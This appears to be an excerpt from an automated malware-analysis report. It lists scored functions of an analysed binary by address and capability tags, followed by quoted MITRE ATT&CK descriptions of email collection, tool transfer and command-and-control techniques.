Function 01019860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 010045C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 01005100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Function 0100BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 01014910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 01019C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 01007710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Function 01010250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Function 0100A790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Function 01005960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre